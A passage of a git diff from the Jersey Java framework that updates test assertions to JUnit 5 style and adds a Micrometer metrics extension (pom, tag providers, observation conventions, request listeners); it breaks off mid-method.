LOGGER.info("[-i-] POSTed item: '" + item + "'"); } @@ -271,7 +268,7 @@ private static void close(final EventSource[] sources) { int i = 0; for (EventSource source : sources) { if (source.isOpen()) { - assertTrue("Waiting to close a source has timed out.", source.close(1, TimeUnit.SECONDS)); + assertTrue(source.close(1, TimeUnit.SECONDS), "Waiting to close a source has timed out."); // source.close(100, TimeUnit.MILLISECONDS); LOGGER.info("[<--] SOURCE " + i++ + " closed."); } @@ -280,7 +277,7 @@ private static void close(final EventSource[] sources) { private static void sendCommand(final WebTarget itemsTarget, final String command) { final Response response = itemsTarget.path("commands").request().post(Entity.text(command)); - assertEquals("'" + command + "' command has failed.", 200, response.getStatus()); + assertEquals(200, response.getStatus(), "'" + command + "' command has failed."); LOGGER.info("[-!-] COMMAND '" + command + "' has been processed."); } } diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml index e147d378161..b7e810032d8 100644 --- a/examples/sse-twitter-aggregator/pom.xml +++ b/examples/sse-twitter-aggregator/pom.xml @@ -1,7 +1,7 @@ + + + + project + org.glassfish.jersey.ext + 3.1.99-SNAPSHOT + + 4.0.0 + + jersey-micrometer + + + + + io.micrometer + micrometer-core + ${micrometer.version} + + + + org.glassfish.jersey.core + jersey-common + ${project.version} + + + + org.glassfish.jersey.core + jersey-server + ${project.version} + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-inmemory + ${project.version} + test + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + test + + + + org.aspectj + aspectjweaver + ${aspectj.weaver.version} + test + true + + + + io.micrometer + micrometer-tracing-integration-test + ${micrometer-tracing.version} + test + + + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + + org.glassfish.jersey.micrometer.server.*;version=${project.version} + + + org.eclipse.microprofile.micrometer.server.*;version="!", + * + + + true + + + + + + diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java new file mode 100644 index 00000000000..82b8c5439fe --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/AnnotationFinder.java @@ -0,0 +1,46 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.lang.annotation.Annotation; +import java.lang.reflect.AnnotatedElement; + +public interface AnnotationFinder { + + AnnotationFinder DEFAULT = new AnnotationFinder() { + }; + + /** + * The default implementation performs a simple search for a declared annotation + * matching the search type. Spring provides a more sophisticated annotation search + * utility that matches on meta-annotations as well. + * @param annotatedElement The element to search. + * @param annotationType The annotation type class. + * @param Annotation type to search for. + * @return A matching annotation. + */ + @SuppressWarnings("unchecked") + default A findAnnotation(AnnotatedElement annotatedElement, Class annotationType) { + Annotation[] anns = annotatedElement.getDeclaredAnnotations(); + for (Annotation ann : anns) { + if (ann.annotationType() == annotationType) { + return (A) ann; + } + } + return null; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java new file mode 100644 index 00000000000..172465b15c3 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyObservationConvention.java @@ -0,0 +1,61 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.KeyValues; +import io.micrometer.common.lang.Nullable; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Default implementation for {@link JerseyObservationConvention}. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class DefaultJerseyObservationConvention implements JerseyObservationConvention { + + private final String metricsName; + + public DefaultJerseyObservationConvention(String metricsName) { + this.metricsName = metricsName; + } + + @Override + public KeyValues getLowCardinalityKeyValues(JerseyContext context) { + RequestEvent event = context.getRequestEvent(); + ContainerRequest request = context.getCarrier(); + ContainerResponse response = context.getResponse(); + return KeyValues.of(JerseyKeyValues.method(request), JerseyKeyValues.uri(event), + JerseyKeyValues.exception(event), JerseyKeyValues.status(response), JerseyKeyValues.outcome(response)); + } + + @Override + public String getName() { + return this.metricsName; + } + + @Nullable + @Override + public String getContextualName(JerseyContext context) { + if (context.getCarrier() == null) { + return null; + } + return "HTTP " + context.getCarrier().getMethod(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java new file mode 100644 index 00000000000..6c080a440aa --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProvider.java @@ -0,0 +1,44 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Default implementation for {@link JerseyTagsProvider}. + * + * @author Michael Weirauch + * @author Johnny Lim + * @since 2.41 + */ +public final class DefaultJerseyTagsProvider implements JerseyTagsProvider { + + @Override + public Iterable httpRequestTags(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event), + JerseyTags.exception(event), JerseyTags.status(response), JerseyTags.outcome(response)); + } + + @Override + public Iterable httpLongRequestTags(RequestEvent event) { + return Tags.of(JerseyTags.method(event.getContainerRequest()), JerseyTags.uri(event)); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java new file mode 100644 index 00000000000..97ff36a6100 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyContext.java @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.List; + +import io.micrometer.observation.transport.ReceiverContext; +import io.micrometer.observation.transport.RequestReplyReceiverContext; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * A {@link ReceiverContext} for Jersey. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class JerseyContext extends RequestReplyReceiverContext { + + private RequestEvent requestEvent; + + public JerseyContext(RequestEvent requestEvent) { + super((carrier, key) -> { + List requestHeader = carrier.getRequestHeader(key); + if (requestHeader == null || requestHeader.isEmpty()) { + return null; + } + return requestHeader.get(0); + }); + this.requestEvent = requestEvent; + setCarrier(requestEvent.getContainerRequest()); + } + + public void setRequestEvent(RequestEvent requestEvent) { + this.requestEvent = requestEvent; + } + + public RequestEvent getRequestEvent() { + return requestEvent; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java new file mode 100644 index 00000000000..66cdaf7b1e3 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java @@ -0,0 +1,144 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.KeyValue; +import io.micrometer.common.util.StringUtils; +import io.micrometer.core.instrument.binder.http.Outcome; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Factory methods for {@link KeyValue KeyValues} associated with a request-response + * exchange that is handled by Jersey server. + */ +class JerseyKeyValues { + + private static final KeyValue URI_NOT_FOUND = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("NOT_FOUND"); + + private static final KeyValue URI_REDIRECTION = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("REDIRECTION"); + + private static final KeyValue URI_ROOT = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI + .withValue("root"); + + private static final KeyValue EXCEPTION_NONE = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION + .withValue("None"); + + private static final KeyValue STATUS_SERVER_ERROR = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS + .withValue("500"); + + private static final KeyValue METHOD_UNKNOWN = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD + .withValue("UNKNOWN"); + + private JerseyKeyValues() { + } + + /** + * Creates a {@code method} KeyValue based on the {@link ContainerRequest#getMethod() + * method} of the given {@code request}. + * @param request the container request + * @return the method KeyValue whose value is a capitalized method (e.g. GET). + */ + static KeyValue method(ContainerRequest request) { + return (request != null) + ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD.withValue(request.getMethod()) + : METHOD_UNKNOWN; + } + + /** + * Creates a {@code status} KeyValue based on the status of the given + * {@code response}. + * @param response the container response + * @return the status KeyValue derived from the status of the response + */ + static KeyValue status(ContainerResponse response) { + /* In case there is no response we are dealing with an unmapped exception. */ + return (response != null) ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS + .withValue(Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR; + } + + /** + * Creates a {@code uri} KeyValue based on the URI of the given {@code event}. Uses + * the {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION} + * for 3xx responses, {@code NOT_FOUND} for 404 responses. + * @param event the request event + * @return the uri KeyValue derived from the request event + */ + static KeyValue uri(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (JerseyTags.isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_REDIRECTION; + } + if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_NOT_FOUND; + } + } + String matchingPattern = JerseyTags.getMatchingPattern(event); + if (matchingPattern.equals("/")) { + return URI_ROOT; + } + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI.withValue(matchingPattern); + } + + /** + * Creates an {@code exception} KeyValue based on the {@link Class#getSimpleName() + * simple name} of the class of the given {@code exception}. + * @param event the request event + * @return the exception KeyValue derived from the exception + */ + static KeyValue exception(RequestEvent event) { + Throwable exception = event.getException(); + if (exception == null) { + return EXCEPTION_NONE; + } + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (status == 404 || JerseyTags.isRedirection(status)) { + return EXCEPTION_NONE; + } + } + if (exception.getCause() != null) { + exception = exception.getCause(); + } + String simpleName = exception.getClass().getSimpleName(); + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION + .withValue(StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName()); + } + + /** + * Creates an {@code outcome} KeyValue based on the status of the given + * {@code response}. + * @param response the container response + * @return the outcome KeyValue derived from the status of the response + */ + static KeyValue outcome(ContainerResponse response) { + if (response != null) { + Outcome outcome = Outcome.forStatus(response.getStatus()); + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME.withValue(outcome.name()); + } + /* In case there is no response we are dealing with an unmapped exception. */ + return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME + .withValue(Outcome.SERVER_ERROR.name()); + } + +} diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFeature.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java similarity index 52% rename from core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFeature.java rename to ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java index 1c10c1cdcc1..24bb4754bf2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFeature.java +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -13,17 +13,23 @@ * * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ +package org.glassfish.jersey.micrometer.server; -package org.glassfish.jersey.internal.config; +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationConvention; -import jakarta.ws.rs.core.Feature; -import jakarta.ws.rs.core.FeatureContext; - -public class ExternalPropertiesConfigurationFeature implements Feature { +/** + * Provides names and {@link io.micrometer.common.KeyValues} for Jersey request + * observations. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public interface JerseyObservationConvention extends ObservationConvention { @Override - public boolean configure(FeatureContext configurableContext) { - return ExternalPropertiesConfigurationFactory.configure(configurableContext); + default boolean supportsContext(Observation.Context context) { + return context instanceof JerseyContext; } -} \ No newline at end of file +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java new file mode 100644 index 00000000000..bebbde97166 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java @@ -0,0 +1,88 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.common.docs.KeyName; +import io.micrometer.common.lang.NonNullApi; +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationConvention; +import io.micrometer.observation.docs.ObservationDocumentation; + +/** + * An {@link ObservationDocumentation} for Jersey. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +@NonNullApi +public enum JerseyObservationDocumentation implements ObservationDocumentation { + + /** + * Default observation for Jersey. + */ + DEFAULT { + @Override + public Class> getDefaultConvention() { + return DefaultJerseyObservationConvention.class; + } + + @Override + public KeyName[] getLowCardinalityKeyNames() { + return JerseyLegacyLowCardinalityTags.values(); + } + }; + + @NonNullApi + enum JerseyLegacyLowCardinalityTags implements KeyName { + + OUTCOME { + @Override + public String asString() { + return "outcome"; + } + }, + + METHOD { + @Override + public String asString() { + return "method"; + } + }, + + URI { + @Override + public String asString() { + return "uri"; + } + }, + + EXCEPTION { + @Override + public String asString() { + return "exception"; + } + }, + + STATUS { + @Override + public String asString() { + return "status"; + } + } + + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java new file mode 100644 index 00000000000..d723c7c1b96 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java @@ -0,0 +1,162 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.List; +import java.util.regex.Pattern; + +import io.micrometer.common.util.StringUtils; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.binder.http.Outcome; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.uri.UriTemplate; + +/** + * Factory methods for {@link Tag Tags} associated with a request-response exchange that + * is handled by Jersey server. + * + * @author Michael Weirauch + * @author Johnny Lim + * @since 2.41 + */ +public final class JerseyTags { + + private static final Tag URI_NOT_FOUND = Tag.of("uri", "NOT_FOUND"); + + private static final Tag URI_REDIRECTION = Tag.of("uri", "REDIRECTION"); + + private static final Tag URI_ROOT = Tag.of("uri", "root"); + + private static final Tag EXCEPTION_NONE = Tag.of("exception", "None"); + + private static final Tag STATUS_SERVER_ERROR = Tag.of("status", "500"); + + private static final Tag METHOD_UNKNOWN = Tag.of("method", "UNKNOWN"); + + static final Pattern TRAILING_SLASH_PATTERN = Pattern.compile("/$"); + + static final Pattern MULTIPLE_SLASH_PATTERN = Pattern.compile("//+"); + + private JerseyTags() { + } + + /** + * Creates a {@code method} tag based on the {@link ContainerRequest#getMethod() + * method} of the given {@code request}. + * @param request the container request + * @return the method tag whose value is a capitalized method (e.g. GET). + */ + public static Tag method(ContainerRequest request) { + return (request != null) ? Tag.of("method", request.getMethod()) : METHOD_UNKNOWN; + } + + /** + * Creates a {@code status} tag based on the status of the given {@code response}. + * @param response the container response + * @return the status tag derived from the status of the response + */ + public static Tag status(ContainerResponse response) { + /* In case there is no response we are dealing with an unmapped exception. */ + return (response != null) ? Tag.of("status", Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR; + } + + /** + * Creates a {@code uri} tag based on the URI of the given {@code event}. Uses the + * {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION} for + * 3xx responses, {@code NOT_FOUND} for 404 responses. + * @param event the request event + * @return the uri tag derived from the request event + */ + public static Tag uri(RequestEvent event) { + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_REDIRECTION; + } + if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) { + return URI_NOT_FOUND; + } + } + String matchingPattern = getMatchingPattern(event); + if (matchingPattern.equals("/")) { + return URI_ROOT; + } + return Tag.of("uri", matchingPattern); + } + + static boolean isRedirection(int status) { + return 300 <= status && status < 400; + } + + static String getMatchingPattern(RequestEvent event) { + ExtendedUriInfo uriInfo = event.getUriInfo(); + List templates = uriInfo.getMatchedTemplates(); + + StringBuilder sb = new StringBuilder(); + sb.append(uriInfo.getBaseUri().getPath()); + for (int i = templates.size() - 1; i >= 0; i--) { + sb.append(templates.get(i).getTemplate()); + } + String multipleSlashCleaned = MULTIPLE_SLASH_PATTERN.matcher(sb.toString()).replaceAll("/"); + if (multipleSlashCleaned.equals("/")) { + return multipleSlashCleaned; + } + return TRAILING_SLASH_PATTERN.matcher(multipleSlashCleaned).replaceAll(""); + } + + /** + * Creates an {@code exception} tag based on the {@link Class#getSimpleName() simple + * name} of the class of the given {@code exception}. + * @param event the request event + * @return the exception tag derived from the exception + */ + public static Tag exception(RequestEvent event) { + Throwable exception = event.getException(); + if (exception == null) { + return EXCEPTION_NONE; + } + ContainerResponse response = event.getContainerResponse(); + if (response != null) { + int status = response.getStatus(); + if (status == 404 || isRedirection(status)) { + return EXCEPTION_NONE; + } + } + if (exception.getCause() != null) { + exception = exception.getCause(); + } + String simpleName = exception.getClass().getSimpleName(); + return Tag.of("exception", StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName()); + } + + /** + * Creates an {@code outcome} tag based on the status of the given {@code response}. + * @param response the container response + * @return the outcome tag derived from the status of the response + */ + public static Tag outcome(ContainerResponse response) { + if (response != null) { + return Outcome.forStatus(response.getStatus()).asTag(); + } + /* In case there is no response we are dealing with an unmapped exception. */ + return Outcome.SERVER_ERROR.asTag(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java new file mode 100644 index 00000000000..c1d2da017a2 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java @@ -0,0 +1,45 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.Tag; +import org.glassfish.jersey.server.monitoring.RequestEvent; + +/** + * Provides {@link Tag Tags} for Jersey request metrics. + * + * @author Michael Weirauch + * @since 2.41 + */ +public interface JerseyTagsProvider { + + /** + * Provides tags to be associated with metrics for the given {@code event}. + * @param event the request event + * @return tags to associate with metrics recorded for the request + */ + Iterable httpRequestTags(RequestEvent event); + + /** + * Provides tags to be associated with the + * {@link io.micrometer.core.instrument.LongTaskTimer} which instruments the given + * long-running {@code event}. + * @param event the request event + * @return tags to associate with metrics recorded for the request + */ + Iterable httpLongRequestTags(RequestEvent event); + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java new file mode 100644 index 00000000000..30ccc362d6d --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java @@ -0,0 +1,69 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.MeterRegistry; +import org.glassfish.jersey.server.monitoring.ApplicationEvent; +import org.glassfish.jersey.server.monitoring.ApplicationEventListener; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * The Micrometer {@link ApplicationEventListener} which registers + * {@link RequestEventListener} for instrumenting Jersey server requests. + * + * @author Michael Weirauch + * @since 2.41 + */ +public class MetricsApplicationEventListener implements ApplicationEventListener { + + private final MeterRegistry meterRegistry; + + private final JerseyTagsProvider tagsProvider; + + private final String metricName; + + private final AnnotationFinder annotationFinder; + + private final boolean autoTimeRequests; + + public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests) { + this(registry, tagsProvider, metricName, autoTimeRequests, AnnotationFinder.DEFAULT); + } + + public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests, AnnotationFinder annotationFinder) { + this.meterRegistry = requireNonNull(registry); + this.tagsProvider = requireNonNull(tagsProvider); + this.metricName = requireNonNull(metricName); + this.annotationFinder = requireNonNull(annotationFinder); + this.autoTimeRequests = autoTimeRequests; + } + + @Override + public void onEvent(ApplicationEvent event) { + } + + @Override + public RequestEventListener onRequest(RequestEvent requestEvent) { + return new MetricsRequestEventListener(meterRegistry, tagsProvider, metricName, autoTimeRequests, + annotationFinder); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java new file mode 100644 index 00000000000..cca1d138ca9 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java @@ -0,0 +1,178 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.IdentityHashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import io.micrometer.core.annotation.Timed; +import io.micrometer.core.instrument.LongTaskTimer; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Timer; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.model.ResourceMethod; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * {@link RequestEventListener} recording timings for Jersey server requests. + * + * @author Michael Weirauch + * @author Jon Schneider + * @since 2.41 + */ +public class MetricsRequestEventListener implements RequestEventListener { + + private final Map shortTaskSample = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final Map> longTaskSamples = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final Map> timedAnnotationsOnRequest = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final MeterRegistry registry; + + private final JerseyTagsProvider tagsProvider; + + private boolean autoTimeRequests; + + private final TimedFinder timedFinder; + + private final String metricName; + + public MetricsRequestEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests, AnnotationFinder annotationFinder) { + this.registry = requireNonNull(registry); + this.tagsProvider = requireNonNull(tagsProvider); + this.metricName = requireNonNull(metricName); + this.autoTimeRequests = autoTimeRequests; + this.timedFinder = new TimedFinder(annotationFinder); + } + + @Override + public void onEvent(RequestEvent event) { + ContainerRequest containerRequest = event.getContainerRequest(); + Set timedAnnotations; + + switch (event.getType()) { + case ON_EXCEPTION: + if (!isNotFoundException(event)) { + break; + } + time(event, containerRequest); + break; + case REQUEST_MATCHED: + time(event, containerRequest); + break; + case FINISHED: + timedAnnotations = 